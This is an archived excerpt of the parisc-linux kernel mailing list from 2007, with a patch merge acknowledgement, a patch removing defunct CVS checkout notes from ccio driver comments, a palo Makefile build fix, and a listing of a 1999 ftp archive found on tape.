Date: Wed, 23 May 2007 13:00:35 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20070523170035.GB26781__31719.4354990081$1416624639$gmane$org@fattire.cabal.ca>
References: <20070523175102.65553ff5@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624639 28432 80.91.229.3 (22 Nov 2014 02:50:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 matthew@wil.cx
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 May 2007 17:02:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 23 May 2007 19:02:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD2FB7DDC3;
	Wed, 23 May 2007 11:01:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27161-06; Wed, 23 May 2007 11:01:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 852477DDC4;
	Wed, 23 May 2007 11:01:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D29647DDB0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 May 2007 11:01:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27109-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 May 2007 11:01:51 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 267827DDAC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 May 2007 11:01:51 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id E3DD5494007; Wed, 23 May 2007 11:01:50 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id BB806494003
	for <parisc-linux@parisc-linux.org>;
	Wed, 23 May 2007 11:01:50 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22]) by cuprel1.hp.com (Postfix) with ESMTP id C93BC562
	for <parisc-linux@parisc-linux.org>;
	Wed, 23 May 2007 10:01:49 -0700 (PDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B1E80584095;
	Wed, 23 May 2007 13:00:36 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 418CB584094;
	Wed, 23 May 2007 13:00:36 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id B315A837DD; Wed, 23 May 2007 13:00:35 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20070523175102.65553ff5@the-village.bc.nu>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vkthcqE2RkkerquPfGRqcKNmdWkvKBOI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25435

On Wed, May 23, 2007 at 05:51:02PM +0100, Alan Cox wrote:
> All the code is already present in the tree and used by some other
> platforms (eg x86_64). Adding the constants and defines activates it for
> parisc.
> 
> Signed-off-by: Alan Cox <alan@redhat.com>
> 

Groovy, thanks Alan. Merged.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: maximilian attems <max@stro.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] ccio kill old cvstree ref
Date: Thu, 5 Jul 2007 10:06:23 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <20070705080623.GI5108__38181.9150331014$1416624639$gmane$org@stro.at>
References: <20070704153917.GN13523@stro.at>
	<20070705001953.GB16764@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624639 28438 80.91.229.3 (22 Nov 2014 02:50:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:39 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2007 08:14:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 05 Jul 2007 10:14:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D2337DDC5;
	Thu,  5 Jul 2007 02:14:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06430-04; Thu, 5 Jul 2007 02:14:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC1107DDC7;
	Thu,  5 Jul 2007 02:14:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C9367DDC3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 02:13:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06048-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jul 2007 02:13:57 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6B6127DD8B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 02:13:57 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 134F649400B; Thu,  5 Jul 2007 02:13:57 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 59471 seconds by postgrey-1.27 at palinux;
	Thu, 05 Jul 2007 02:13:56 MDT
Original-Received: from baikonur.stro.at (baikonur.stro.at [213.239.196.228])
	by mail.parisc-linux.org (Postfix) with ESMTP id C5692494007
	for <parisc-linux@parisc-linux.org>;
	Thu,  5 Jul 2007 02:12:34 -0600 (MDT)
Original-Received: from stro.at (localhost [127.0.0.1])
	by baikonur.stro.at (Postfix) with ESMTP id 8D0AD5C00F;
	Thu,  5 Jul 2007 10:13:26 +0200 (CEST)
Original-Received: by stro.at (Postfix, from userid 1000)
	id 3033818259; Thu,  5 Jul 2007 10:06:22 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20070705001953.GB16764@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by Amavis (ClamAV) at stro.at
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gu7qLCshaHI/bKWnKSUl2F1qamdhZAT4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25436

this cvs tree is long defunct, rm co instructions.
text changes revised by Grant Grundler.

Signed-off-by: maximilian attems <max@stro.at>
Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

---

 drivers/parisc/ccio-dma.c    |    5 +----
 drivers/parisc/ccio-rm-dma.c |    4 ----
 2 files changed, 1 insertion(+), 8 deletions(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index b3c4dbf..41756b5 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -17,10 +17,7 @@
 **  U2/Uturn were designed to perform coherency checks w/o using
 **  the I/O MMU - basically what x86 does.
 **
-**  Philipp Rumpf has a "Real Mode" driver for PCX-W machines at:
-**      CVSROOT=:pserver:anonymous@198.186.203.37:/cvsroot/linux-parisc
-**      cvs -z3 co linux/arch/parisc/kernel/dma-rm.c
-**
+**  Philipp Rumpf wrote a "Real Mode" driver for PCX-W machines.
 **  I've rewritten his code to work under TPG's tree. See ccio-rm-dma.c.
 **
 **  Drawbacks of using Real Mode are:
diff --git a/drivers/parisc/ccio-rm-dma.c b/drivers/parisc/ccio-rm-dma.c
index 356b835..b5d5bae 100644
--- a/drivers/parisc/ccio-rm-dma.c
+++ b/drivers/parisc/ccio-rm-dma.c
@@ -21,10 +21,6 @@
  * (at your option) any later version.
  *
  *
- * Original version/author:
- *      CVSROOT=:pserver:anonymous@198.186.203.37:/cvsroot/linux-parisc
- *      cvs -z3 co linux/arch/parisc/kernel/dma-rm.c
- *
  *	(C) Copyright 2000 Philipp Rumpf <prumpf@tux.org>
  *
  *

-- 
maks
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fix building palo in a separate directory
Date: Thu, 5 Jul 2007 14:30:40 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20070705203040.GB3527__9781.788980081$1416624640$gmane$org@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624640 28446 80.91.229.3 (22 Nov 2014 02:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2007 20:30:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 05 Jul 2007 22:30:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C698D7DDF4;
	Thu,  5 Jul 2007 14:30:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13850-06; Thu, 5 Jul 2007 14:30:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B32F37DDE7;
	Thu,  5 Jul 2007 14:30:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CCAE7DDE8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 14:30:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13850-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jul 2007 14:30:41 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 54BBD7DDE7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jul 2007 14:30:41 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 1894B494009; Thu,  5 Jul 2007 14:30:41 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id CD2C9494007; Thu,  5 Jul 2007 14:30:40 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yma/dYwlPTRsPujGPjIw4W0xc2tpZMuk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25437


When using an objdir that's different from the srcdir, the initial step
of creating the palo.conf goes awry.

Signed-off-by: Matthew Wilcox <matthew@wil.cx>

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 760567a..c09be26 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -84,10 +84,10 @@ palo: vmlinux
 		false; \
 	fi
 	@if [ ! -f ./palo.conf ]; then \
-		cp arch/parisc/defpalo.conf palo.conf; \
-		echo 'A generic palo config file (./palo.conf) has been created for you.'; \
+		cp $(srctree)/arch/parisc/defpalo.conf ./palo.conf; \
+		echo 'A generic palo config file ($(objtree)/palo.conf) has been created for you.'; \
 		echo 'You should check it and re-run "make palo".'; \
-		echo 'WARNING: the "lifimage" file is now placed in this directory by default!'; \
+		echo WARNING: the lifimage file is placed in $(objtree) by default\!; \
 		false; \
 	fi
 	$(PALO) -f ./palo.conf

-- 
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Historical artifacts ... going, going
Date: Wed, 25 Jul 2007 07:42:59 -0600
Lines: 79
Approved: news@gmane.org
Message-ID: <20070725134259.GL26883__37388.1846470342$1416624640$gmane$org@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624640 28458 80.91.229.3 (22 Nov 2014 02:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2007 13:43:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 25 Jul 2007 15:43:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 587717DCDB;
	Wed, 25 Jul 2007 07:43:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14555-07; Wed, 25 Jul 2007 07:43:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A0D27DCD6;
	Wed, 25 Jul 2007 07:43:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47B4F7DCD5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Jul 2007 07:43:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14331-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Jul 2007 07:43:00 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 42CEE7DCC5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Jul 2007 07:43:00 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D9166494007; Wed, 25 Jul 2007 07:42:59 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id AD007494003; Wed, 25 Jul 2007 07:42:59 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ez/MLg56TlIuYLeQeGhrsqVGU2poZZne
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25438


I found a DAT today with the following contents on it.  Looks like it
may have been a snapshot of the p-l ftp archive, possibly taken for
transport to a show or something.  Anyone want to preserve these for
historical purposes, or can I just write over this tape?

$ tar -vtf /dev/tape
drwxr-xr-x mrw/unknown50     0 1999-06-20 09:44 parisc/
-rw-rw-r-- mrw/genedata    278 1999-06-20 09:43 parisc/README
drwxrwxr-x mrw/genedata      0 1999-06-20 09:44 parisc/binaries/
-rw-rw-r-- mrw/genedata     93 1999-04-17 10:07 parisc/binaries/README
drwxrwxr-x mrw/genedata      0 1999-04-30 21:06 parisc/binaries/RPMS/
-rw-r--r-- mrw/genedata 1927561 1999-04-30 19:56 parisc/binaries/RPMS/binutils-x-parisc-linux-2.9.1-11.i386.rpm
-rw-r--r-- mrw/genedata 1710620 1999-04-30 14:10 parisc/binaries/RPMS/egcs-x-parisc-linux-1.1.1-9.i386.rpm
drwxr-xr-x mrw/genedata       0 1999-04-30 20:02 parisc/binaries/RPMS/old/
-rw-rw-r-- mrw/genedata 1257369 1999-04-17 09:39 parisc/binaries/RPMS/old/binutils-x-hppa-2.9.1-5.i386.rpm
-rw-r--r-- mrw/genedata 1927430 1999-04-30 14:10 parisc/binaries/RPMS/old/binutils-x-parisc-linux-2.9.1-10.i386.rpm
-rw-rw-r-- mrw/genedata 2109997 1999-04-16 09:22 parisc/binaries/RPMS/old/binutils-x-parisc-linux-2.9.1-9.i386.rpm
-rw-rw-r-- mrw/genedata 1775415 1999-04-17 09:40 parisc/binaries/RPMS/old/egcs-x-hppa-linux-1.1.1-4.i386.rpm
-rw-rw-r-- mrw/genedata   20059 1999-04-17 09:42 parisc/binaries/RPMS/rbootd-2.0-2.i386.rpm
drwxrwxr-x mrw/genedata       0 1999-04-30 20:02 parisc/binaries/SRPMS/
-rw-r--r-- mrw/genedata 5925605 1999-04-30 19:56 parisc/binaries/SRPMS/binutils-x-parisc-linux-2.9.1-11.src.rpm
-rw-r--r-- mrw/genedata 11747992 1999-04-30 14:12 parisc/binaries/SRPMS/egcs-x-parisc-linux-1.1.1-9.src.rpm
drwxr-xr-x mrw/genedata        0 1999-04-30 20:02 parisc/binaries/SRPMS/old/
-rw-rw-r-- mrw/genedata  5692980 1999-04-17 09:40 parisc/binaries/SRPMS/old/binutils-x-hppa-2.9.1-5.src.rpm
-rw-r--r-- mrw/genedata  5944707 1999-04-30 14:13 parisc/binaries/SRPMS/old/binutils-x-parisc-linux-2.9.1-10.src.rpm
-rw-rw-r-- mrw/genedata  5945349 1999-04-16 09:23 parisc/binaries/SRPMS/old/binutils-x-parisc-linux-2.9.1-9.src.rpm
-rw-rw-r-- mrw/genedata 11639115 1999-04-17 09:42 parisc/binaries/SRPMS/old/egcs-x-hppa-linux-1.1.1-4.src.rpm
-rw-rw-r-- mrw/genedata    30683 1999-04-17 09:42 parisc/binaries/SRPMS/rbootd-2.0-2.src.rpm
drwxrwxr-x mrw/genedata        0 1999-04-16 17:14 parisc/binaries/deb/
-rw-r--r-- mrw/genedata  5925605 1999-04-30 19:56 parisc/binaries/deb/binutils-x-parisc-linux-2.9.1-11.src.rpm
-rw-r--r-- mrw/genedata      610 1999-04-16 17:14 parisc/binaries/deb/binutils-x-parisc-linux_19990320-1.dsc
-rw-r--r-- mrw/genedata  5727291 1999-04-16 17:14 parisc/binaries/deb/binutils-x-parisc-linux_19990320-1.tar.gz
-rw-r--r-- mrw/genedata     1080 1999-04-16 17:14 parisc/binaries/deb/binutils-x-parisc-linux_19990320-1_i386.changes
-rw-r--r-- mrw/genedata  1487836 1999-04-16 17:14 parisc/binaries/deb/binutils-x-parisc-linux_19990320-1_i386.deb
-rw-r--r-- mrw/genedata 11747992 1999-04-30 14:12 parisc/binaries/deb/egcs-x-parisc-linux-1.1.1-9.src.rpm
drwxr-xr-x mrw/genedata        0 1999-04-30 20:02 parisc/binaries/deb/old/
-rw-rw-r-- mrw/genedata  5692980 1999-04-17 09:40 parisc/binaries/deb/old/binutils-x-hppa-2.9.1-5.src.rpm
-rw-r--r-- mrw/genedata  5944707 1999-04-30 14:13 parisc/binaries/deb/old/binutils-x-parisc-linux-2.9.1-10.src.rpm
-rw-rw-r-- mrw/genedata  5945349 1999-04-16 09:23 parisc/binaries/deb/old/binutils-x-parisc-linux-2.9.1-9.src.rpm
-rw-rw-r-- mrw/genedata 11639115 1999-04-17 09:42 parisc/binaries/deb/old/egcs-x-hppa-linux-1.1.1-4.src.rpm
-rw-rw-r-- mrw/genedata    30683 1999-04-17 09:42 parisc/binaries/deb/rbootd-2.0-2.src.rpm
drwxrwxr-x mrw/genedata        0 1999-06-14 15:16 parisc/binaries/depot/
-rw-r--r-- mrw/genedata   479417 1999-06-14 15:16 parisc/binaries/depot/bash-2.03-1.depot.gz
-rw-r--r-- mrw/genedata  1921222 1999-06-14 09:40 parisc/binaries/depot/binutils-2.9.1-1.depot.gz
-rw-r--r-- mrw/genedata   578297 1999-06-14 09:40 parisc/binaries/depot/cvs-1.10.6-1.depot.gz
-rw-r--r-- mrw/genedata   155099 1999-06-14 11:55 parisc/binaries/depot/diffutils-2.7-1.depot.gz
-rw-r--r-- mrw/genedata   969928 1999-06-14 12:32 parisc/binaries/depot/fileutils-4.0-1.depot.gz
-rw-r--r-- mrw/genedata   141034 1999-06-14 09:40 parisc/binaries/depot/flex-2.5.4-1.depot.gz
-rw-r--r-- mrw/genedata  1854100 1999-06-14 09:41 parisc/binaries/depot/gcc-2.8.1-1.depot.gz
-rw-r--r-- mrw/genedata  1694864 1999-06-14 09:41 parisc/binaries/depot/gcc-2.8.1-2.depot.gz
-rw-r--r-- mrw/genedata   113092 1999-06-14 09:41 parisc/binaries/depot/less-3.40-1.depot.gz
-rw-r--r-- mrw/genedata   216854 1999-06-14 09:41 parisc/binaries/depot/make-3.77-1.depot.gz
-rw-r--r-- mrw/genedata    69486 1999-06-14 11:55 parisc/binaries/depot/patch-2.5-1.depot.gz
drwxr-xr-x mrw/genedata        0 1999-06-11 20:59 parisc/binaries/kernels/
-rw-r--r-- mrw/genedata   658917 1999-06-11 08:30 parisc/binaries/kernels/Image-19990611-1
-rw-r--r-- mrw/genedata   650725 1999-06-11 20:59 parisc/binaries/kernels/Image-19990612-1
drwxrwxr-x mrw/genedata        0 1999-04-30 21:06 parisc/binaries/tgz/
-rw-r--r-- mrw/genedata  1923587 1999-04-30 20:58 parisc/binaries/tgz/binutils-x-parisc-linux-2.9.1-11.tar.gz
